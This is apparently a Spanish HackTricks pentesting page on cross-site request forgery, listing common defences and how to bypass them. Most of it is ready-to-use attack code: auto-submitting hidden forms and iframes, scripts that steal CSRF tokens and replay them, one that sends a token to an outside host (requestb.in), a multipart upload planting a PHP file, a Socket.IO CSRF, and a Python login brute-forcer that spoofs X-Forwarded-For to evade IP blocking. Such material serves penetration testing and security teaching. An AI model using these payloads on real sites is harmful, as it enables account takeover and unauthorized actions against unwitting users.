hacktricks/pentesting-web/csrf-cross-site-request-forgery.md

27 KiB
Raw Permalink Blame History

CSRF (Cross Site Request Forgery)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Sigue a HackenProof para aprender más sobre errores web3

🐞 Lee tutoriales de errores web3

🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores

💬 Participa en discusiones comunitarias

¿Qué es CSRF?

Cross-site request forgery (también conocido como CSRF) es una vulnerabilidad de seguridad web que permite a un atacante inducir a los usuarios a realizar acciones que no tienen la intención de realizar.
Esto se hace haciendo que un usuario conectado en la plataforma víctima acceda a un sitio web controlado por el atacante y desde allí ejecute código JS malicioso, envíe formularios o recupere "imágenes" en la cuenta de la víctima.

Requisitos

Para poder abusar de una vulnerabilidad CSRF, primero debes encontrar una acción relevante para abusar (cambiar la contraseña o el correo electrónico, hacer que la víctima te siga en una red social, darte más privilegios...). La sesión debe depender solo de cookies o del encabezado de autenticación básica HTTP, no se puede usar ningún otro encabezado para manejar la sesión. Y finalmente, no debe haber parámetros impredecibles en la solicitud.

Varias contramedidas podrían estar en su lugar para evitar esta vulnerabilidad.

Defensas comunes

  • Cookies SameSite: Si la cookie de sesión está utilizando esta bandera, es posible que no pueda enviar la cookie desde sitios web arbitrarios.
  • Compartición de recursos de origen cruzado: Dependiendo del tipo de solicitud HTTP que necesite realizar para abusar de la acción relevante, puede tener en cuenta la política CORS del sitio víctima. Tenga en cuenta que la política CORS no afectará si solo desea enviar una solicitud GET o una solicitud POST desde un formulario y no necesita leer la respuesta.
  • Pedir al usuario la contraseña para autorizar la acción.
  • Resolver un captcha
  • Leer los encabezados Referer u Origen. Si se usa una expresión regular, se puede pasar por alto, por ejemplo, con:
  • Modificar el nombre de los parámetros de la solicitud POST o GET
  • Usar un token CSRF en cada sesión. Este token debe enviarse dentro de la solicitud para confirmar la acción. Este token podría estar protegido con CORS.

Mapa CSRF

Defensas Bypass

De POST a GET

Tal vez el formulario que desea abusar está preparado para enviar una solicitud POST con un token CSRF pero, debe verificar si un GET también es válido y si cuando envía una solicitud GET el token CSRF todavía se está validando.

Falta de token

Algunas aplicaciones validan correctamente el token cuando está presente pero omiten la validación si se omite el token.
En esta situación, el atacante puede eliminar todo el parámetro que contiene el token (no solo su valor) para evitar la validación y realizar un ataque CSRF.

El token CSRF no está vinculado a la sesión del usuario

Algunas aplicaciones no validan que el token pertenezca a la misma sesión que el usuario que realiza la solicitud. En su lugar, la aplicación mantiene una piscina global de tokens que ha emitido y acepta cualquier token que aparezca en esta piscina.
En esta situación, el atacante puede iniciar sesión en la aplicación utilizando su propia cuenta, obtener un token válido y luego proporcionar ese token al usuario víctima en su ataque CSRF.

Bypass de método

Si la solicitud está utilizando un método "extraño", verifique si la funcionalidad de anulación de método está funcionando.
Por ejemplo, si está usando un método PUT, puede intentar usar un método POST y enviar: https://example.com/my/dear/api/val/num?_method=PUT

Esto también podría funcionar enviando el parámetro _method dentro de una solicitud POST o usando los encabezados:

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

Bypass de token de encabezado personalizado

Si la solicitud está agregando un encabezado personalizado con un token a la solicitud como método de protección CSRF, entonces:

  • Pruebe la solicitud sin el Token personalizado y también sin el encabezado.
  • Pruebe la solicitud con una longitud exactamente igual pero con un token diferente.

En una variación posterior de la vulnerabilidad anterior, algunas aplicaciones duplican cada token dentro de una cookie y un parámetro de solicitud. O establecen una cookie csrf y verifican en el backend si el token csrf enviado es el relacionado con la cookie.

Cuando se valida la solicitud posterior, la aplicación simplemente verifica que el token enviado en el parámetro de solicitud coincide con el valor almacenado por la cookie.
En esta situación, el atacante puede nuevamente realizar un ataque CSRF si el sitio web contiene alguna vulnerabilidad que le permita establecer su cookie CSRF en la víctima como un CRLF.

En este caso, puede establecer la cookie intentando cargar una imagen falsa y luego lanzar el ataque CSRF como en este ejemplo:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
      <input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
      <input type="submit" value="Submit request" />
    </form>
    <img src="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
  </body>
</html>

{% hint style="info" %} Ten en cuenta que si el token csrf está relacionado con la cookie de sesión, este ataque no funcionará porque necesitarás establecer tu sesión como víctima, y por lo tanto estarás atacándote a ti mismo. {% endhint %}

Cambio de Content-Type

Según esto, para evitar las solicitudes previas utilizando el método POST, estos son los valores permitidos para Content-Type:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

Sin embargo, ten en cuenta que la lógica del servidor puede variar dependiendo del Content-Type utilizado, por lo que debes probar los valores mencionados y otros como application/json,text/xml, application/xml.

Ejemplo (de aquí) de envío de datos JSON como texto plano:

<html>
  <body>
    <form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
      <input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
    </form>
    <script>
        form.submit();
    </script>
  </body>
</html>

Bypass de solicitud previa de aplicación/json

Como ya sabes, no puedes enviar una solicitud POST con el tipo de contenido application/json a través de un formulario HTML, y si intentas hacerlo a través de XMLHttpRequest se envía primero una solicitud previa.
Sin embargo, podrías intentar enviar los datos JSON utilizando los tipos de contenido text/plain y application/x-www-form-urlencoded solo para comprobar si el backend está utilizando los datos independientemente del tipo de contenido.
Puedes enviar un formulario utilizando Content-Type: text/plain estableciendo enctype="text/plain"

Si el servidor solo acepta el tipo de contenido "application/json", puedes enviar el tipo de contenido "text/plain; application/json" sin activar una solicitud previa.

También podrías intentar burlar esta restricción utilizando un archivo SWF flash. Para obtener más información, lee este post.

Bypass de comprobación de Referer / Origin

Evita la cabecera Referer

Algunas aplicaciones validan la cabecera Referer cuando está presente en las solicitudes, pero omitirán la validación si la cabecera se omite.

<meta name="referrer" content="never">

Bypasses de expresiones regulares

{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Para establecer el nombre de dominio del servidor en la URL que el Referrer va a enviar dentro de los parámetros, se puede hacer:

<html>
  <!-- Referrer policy needed to send the qury parameter in the referrer -->
  <head><meta name="referrer" content="unsafe-url"></head>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      // You need to set this or the domain won't appear in the query of the referer header
      history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
      document.forms[0].submit();
    </script>
  </body>
</html>

Sigue a HackenProof para aprender más sobre errores web3

🐞 Lee tutoriales sobre errores web3

🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores

💬 Participa en discusiones comunitarias

Ejemplos de explotación

Exfiltración de token CSRF

Si se está utilizando un token CSRF como defensa, se podría intentar exfiltrarlo abusando de una vulnerabilidad XSS o una vulnerabilidad de markup colgante.

GET utilizando etiquetas HTML

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Otras etiquetas HTML5 que se pueden utilizar para enviar automáticamente una solicitud GET son:

Solicitud GET de formulario

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form method="GET" action="https://victim.net/email/change-email">
      <input type="hidden" name="email" value="some@email.com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Solicitud POST de formulario

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form method="POST" action="https://victim.net/email/change-email" id="csrfform">
      <input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
      <input type="submit" value="Submit request" />
      <img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
    </form>
    <script>
      document.forms[0].submit(); //Way 3 to autosubmit
    </script>
  </body>
</html>

Solicitud POST de formulario a través de iframe

<!-- 
The request is sent through the iframe withuot reloading the page 
-->
<html>
  <body>
  <iframe style="display:none" name="csrfframe"></iframe> 
    <form method="POST" action="/change-email" id="csrfform" target="csrfframe">
      <input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Petición POST de Ajax

La técnica de CSRF también puede ser explotada mediante una petición POST de Ajax. En este caso, el atacante puede crear una página web maliciosa que realice una petición POST de Ajax a una página vulnerable en el sitio web de la víctima. La petición POST de Ajax puede ser enviada automáticamente cuando la página maliciosa se carga en el navegador de la víctima, sin que ésta se dé cuenta.

Para prevenir este tipo de ataques, se puede utilizar un token CSRF en la petición POST de Ajax, de la misma manera que se utiliza en una petición POST normal.

<script>
var xh;
if (window.XMLHttpRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  xh=new XMLHttpRequest();
  }
else
  {// code for IE6, IE5
  xh=new ActiveXObject("Microsoft.XMLHTTP");
  }
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>

<script>
//JQuery version
$.ajax({
  type: "POST",
  url: "https://google.com",
  data: "param=value&param2=value2"
})
</script>

solicitud POST multipart/form-data

myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
    method: "post",
    body: myFormData,
    credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    mode: "no-cors"
});

solicitud POST multipart/form-data v2

var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
//  MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";

//xhr.send(body);
xhr.sendAsBinary(body);

Solicitud POST de formulario desde un iframe

<--! expl.html -->

<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>

Robar el token CSRF y enviar una solicitud POST

Para llevar a cabo un ataque CSRF, el atacante necesita conocer el token CSRF válido. Si el token CSRF se almacena en una cookie, el atacante puede robarlo utilizando una vulnerabilidad de XSS. Si el token CSRF se almacena en una etiqueta HTML, el atacante puede robarlo utilizando una vulnerabilidad de inyección de código HTML. Una vez que el atacante tiene el token CSRF, puede enviar una solicitud POST al servidor utilizando el token robado.

function submitFormWithTokenJS(token) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", POST_URL, true);
    xhr.withCredentials = true;

    // Send the proper header information along with the request
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

    // This is for debugging and can be removed
    xhr.onreadystatechange = function() {
        if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            //console.log(xhr.responseText);
        }
    }

    xhr.send("token=" + token + "&otherparama=heyyyy");
}

function getTokenJS() {
    var xhr = new XMLHttpRequest();
    // This tels it to return it as a HTML document
    xhr.responseType = "document";
    xhr.withCredentials = true;
    // true on the end of here makes the call asynchronous
    xhr.open("GET", GET_URL, true);
    xhr.onload = function (e) {
        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            // Get the document from the response
            page = xhr.response
            // Get the input element
            input = page.getElementById("token");
            // Show the token
            //console.log("The token is: " + input.value);
            // Use the token to submit the form
            submitFormWithTokenJS(input.value);
        }
    };
    // Make the request
    xhr.send(null);
}

var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();

Robar el token CSRF y enviar una solicitud Post usando un iframe, un formulario y Ajax

<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1(){
    x1=document.getElementById("i1");
    x1d=(x1.contentWindow||x1.contentDocument);
    t=x1d.document.getElementById("token").value;
    
    document.getElementById("token").value=t;
    document.getElementById("form1").submit();
}
</script> 
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>

Robar el token CSRF y enviar una solicitud POST usando un iframe y un formulario

Para llevar a cabo un ataque CSRF, el atacante necesita conocer el token CSRF válido. Si el token CSRF se almacena en una cookie, el atacante puede robarlo usando un script malicioso. Si el token CSRF se almacena en una etiqueta HTML, el atacante puede robarlo usando un iframe y un formulario.

El atacante puede crear un iframe que apunte a la página de destino y un formulario que envíe una solicitud POST a la página de destino. El formulario debe incluir los parámetros necesarios para realizar la acción deseada en la página de destino, incluido el token CSRF robado.

Cuando el usuario visita la página maliciosa, el iframe se carga automáticamente y envía la solicitud POST a la página de destino, realizando la acción deseada en nombre del usuario sin su conocimiento.

<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>

<script> 
function read()
{
    var name = 'admin2';
    var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
    document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">');
    document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
    document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
    document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
    document.writeln('</form>');
    document.forms[0].submit.click();
}
</script>

Robar token y enviarlo usando 2 iframes

<script>
var token;
function readframe1(){
  token = frame1.document.getElementById("profile").token.value;
  document.getElementById("bypass").token.value = token
  loadframe2();
}
function loadframe2(){
  var test = document.getElementbyId("frame2");
  test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()" 
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2" 
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
  <input type="text" name="username" value="z">
  <input type="checkbox" name="status" checked="">        
  <input id="token" type="hidden" name="token" value="0000" />
  <button type="submit">Submit</button>
</form>

POSTSteal CSRF token con Ajax y enviar un post con un formulario

<body onload="getData()">

<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
  <input type="hidden" name="username" value="root"/>
  <input type="hidden" name="status" value="on"/>
  <input type="hidden" id="findtoken" name="token" value=""/>
  <input type="submit" value="valider"/>
</form>

<script>
var x = new XMLHttpRequest();
function getData() {
  x.withCredentials = true;
  x.open("GET","http://google.com?param=VALUE",true);
  x.send(null); 
}
x.onreadystatechange = function() {
  if (x.readyState == XMLHttpRequest.DONE) {
    var token = x.responseText.match(/name="token" value="(.+)"/)[1];
    document.getElementById("findtoken").value = token;
    document.getElementById("form").submit();
  }
}
</script>

CSRF con Socket.IO

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');

const username = 'admin'

socket.on('connect', () => {
    console.log('connected!');
    socket.emit('join', {
        room: username
    });
  socket.emit('my_room_event', {
      data: '!flag',
      room: username
  })

});
</script>

CSRF Login Brute Force

El código se puede utilizar para realizar un ataque de fuerza bruta en un formulario de inicio de sesión utilizando un token CSRF (también utiliza el encabezado X-Forwarded-For para intentar evitar una posible lista negra de direcciones IP):

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
    #Return CSRF + Session (cookie)
    r = requests.get(URL)
    csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
    csrf = csrf.group(1)
    session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
    return csrf, session_cookie

def login(user, password):
    print(f"{user}:{password}")
    csrf, cookie = init_session()
    cookies = {SESSION_COOKIE_NAME: cookie}
    data = {
        "tokenCSRF": csrf,
        "username": user,
        "password": password,
        "save": ""
    }
    headers = {
        "X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
    }
    r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
    if "Username or password incorrect" in r.text:
        return False
    else:
        print(f"FOUND {user} : {password}")
        return True

with open(PASS_LIST, "r") as f:
    for line in f:
        login(USER, line.strip())

Herramientas

Referencias

Sigue a HackenProof para aprender más sobre errores web3

🐞 Lee tutoriales sobre errores web3

🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores

💬 Participa en discusiones de la comunidad

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥